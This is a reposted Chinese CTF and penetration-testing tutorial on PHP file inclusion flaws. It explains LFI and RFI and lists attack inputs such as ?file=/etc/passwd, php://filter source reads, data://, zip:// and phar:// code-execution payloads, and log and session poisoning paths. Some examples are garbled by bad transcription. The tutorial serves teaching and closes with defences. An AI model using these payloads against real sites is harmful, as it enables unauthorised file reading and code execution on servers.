0


ctf攻防渗透-文件包含-文件包含漏洞详解

1、文件包含概念
程序开发人员会把重复使用的函数、变量、类等数据写到单个文件中,需要使用到里面的数据时直接调用此文件,而无需再次编写,这种文件调用的过程称为文件包含。

2、文件包含相关函数
require( )//找不到被包含文件时产生错误,停止脚本运行include( )//找不到被包含文件时产生警告,脚本继续运行
include_once() //与include类似,唯一区别就是文件已经被包含则不再包含
require_once() //与require类似,唯一区别就是文件已经被包含则不再包含

3、文件包含漏洞介绍
程序开发人员希望代码更灵活,所以将被包含文件设置成变量,来进行动态调用,但正是由于这种灵活性,从而导致客户端可以调用一个恶意文件,造成文件包含漏洞。
通过PHP函数引入文件时,传入的文件名没有经过合理的验证,从而操作了预想之外的文件,就可能导致意外的文件泄漏甚至恶意代码注入。
根据包含文件的不同,我们将文件包含漏洞划分为两类:1.本地文件包含LFI (Local File lnclude)
⒉远程文件包含RFL (Remote File Include)

4、文件包含漏洞危害:
1、如果网站支持上传,上传任意后缀文件,被包含的文件中含有PHP代码,则可以造成命令执行。
2、直接包含系统内其他文件,因为文件包含本质就是将包含文件内容用php执行一遍,所以不是有效代码的部分就会直接输入,这样我们便可以得到系统中的文件。
例:?file=/etc/passwd
3、除了使用路径的方式,文件包含也支持使用协议,我们可以使用file://协议读取文件。
例:?file=file:/ll/etc/passwd

5、PHP伪协议利⽤:
5.1、php://input:
php://input可以获取POST的数据流,当它与包含函数结合时,php://input流会被当作php⽂件执
⾏,从⽽导致任意代码执⾏。
利⽤条件
allow_url_include=On
allow_url_fopen=Off/On
5.2、php://filter:
php://filter可以获取指定⽂件源码,当它与包含函数结合时,php://filter流会被当作php⽂件执⾏。
所以我们⼀般对其进⾏编码,让其不执⾏,从⽽导致任意⽂件读取。
利⽤条件
allow_url_include=Off/On
allow_url_fopen=Off/On
php://filter包含下列参数:
resource=<待过滤数据流> 必选,指定你要筛选过的的数据流
read=<读链筛选列表> 可选,⼀个或多个过滤器名称,以管道符分割
write=<写链筛选列表> 可选,⼀个或多个过滤器名称,以管道符分割
过滤器我们分为 1. 转换过滤器 2. 字符串过滤器 3. 压缩过滤器 4. 加密过滤器

5.2.1、转换过滤器:
convert.* 过滤器是php5.0.0以后添加的

  1. base64 我们可以使⽤ convert.base64-encode 或 convert.base64-decode 来进⾏base64编码或解码。 这样我们直接包含php⽂件时,php代码部分会执⾏,我们⽆法得到源码,⽽使⽤此过滤器则可以 将代码先进性base64编码,我们得到之后再进⾏base64解码,这样就能得到源码了。
  2. quoted-printable 使⽤ convert.quoted-printable-encode 或 convert.quoted.printable-decode 来进 ⾏ quoted-printable 编码或解码,⽤法和base64类似。

5.2.2、字符串过滤器:
string.* 模块⽤来处理各个字符串的。

  1. rot13 使⽤ string.rot13 来对字符串内容进⾏ rot13 编码
  2. toupper 使⽤ string.toupper 来将字符串内容变⼤写
  3. tolower 使⽤ string.tolower 来将字符串内容变⼩写
  4. strip_tags 使⽤ string.strip_tags 将字符串中的空字符,HTML和PHP标记去除。

示例
php://filter/read=convert.base64-encode/resource=flag.php

5.3、zip://:
zip://可以访问压缩包⾥⾯的⽂件,当它与包含函数结合时,zip://流会被当作php⽂件执⾏,从⽽
实现任意代码执⾏。
只需要是zip的压缩即可,后缀名可以任意更改
利⽤条件
allow_url_include=Off/On
allow_url_fopen=Off/On
示例
zip://C:\tmp\1.jpg#phpinfo.txt

5.4、phar://:
类似zip://,同样可以导致任意代码执⾏。
phar://中使⽤相对路径和绝对路径都可以
利⽤条件
allow_url_include=Off/On
allow_url_fopen=Off/On
示例
phar://phar.jpg/phpinfo.txt

5.5、data://:
data://同样类似php://input,可以让⽤户来控制输⼊流,当它与包含⽂件结合时,⽤户输⼊的
data://流会被当作php⽂件执⾏,从⽽导致任意代码执⾏。
利⽤条件
allow_url_include=On
allow_url_fopen=On
PHP version >= 5.2
示例
data://,<?php phpinfo(); ?>
data://text/plain,<?php phpinfo(); ?>
data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
data:text/plain,<?php phpinfo(); ?>
data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

6、包含⽇志⽂件:
WEB服务器会讲用户的访问记录保存在访问日志中,那么我们可以根据日志记录的内容,精心构造请求,把PHP代码插入到日志文件中,通过文件包含漏洞来执行日志中的PHP代码。

1、HTTP log
web服务器会将请求写入到日志文件中,比如说apache。在用户发起请求时,会将请求写入access.log。
·利用条件
知道服务器日志存储路径,且日志可读
apache访问日志默认路径
/var/log/apache2/access.log
apache错误日志默认路径
/var/log/apache2/error.log

2、SSH log
利用条件
知道ssh log位置,且日志可读,默认在/var/log/auth.log

3、包含session文件
·利用条件
session文件路径已知,且其中内容部分可控
php的session文件的保存路径可以在phpinfo的session.save_path中看到

以及⼀些默认路径
/var/lib/php/sess_PHPSESSID
/var/lib/php/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID

session⽂件的⽂件名格式为 sess[phpsessid] ,⽽ phpsessid 在发送的请求头cookie字段中可以看到。

4、临时文件包含
php在上传文件时,会创建临时文件,在linux下使用/tmp目录,在 windows下使用C:\windows\temp目录。在临时文件被删除之前,利用竞争即可包含该临时文件。

5、攻击服务器
利用 string.strip-tags 使得php服务器崩溃

7、绕过:
指定前缀:
当发现文件包含代码为
include( '/tmp/ '.$file);
时,指定了文件所在的前缀,这时候我们可以利用…/进行目录穿越,例如我们想包含网站目录下的flag.php 文件,则可以
include( '/tmp/. ./var/www/ html/flag. php ’ );

指定后缀:
·在RFI中中,可以使用query或fragment来绕过后缀限制例如包含
include($file.'test.php ’ );
我们可以包含
include( ‘http://xx×/flag.php?test.php’ );
include ( 'http://x××/flag.php#test.php ’ ) ;

·在LFI中,可以使用伪协议来进行构造,例如我们上传一个包含了a/test/test.php 的内容,然后包含
include( 'zip:///test.zip#test.php ’ );
include( 'phar: / /test.phar/test.php ’ ) ;

8、防御:
配置 open_basedir
管理⽂件夹权限
对危险字符进⾏过滤

标签: 安全 web安全

本文转载自: https://blog.csdn.net/redglare/article/details/127456686
版权归原作者 赤年 所有, 如有侵权,请联系我们删除。

“ctf攻防渗透-文件包含-文件包含漏洞详解”的评论:

还没有评论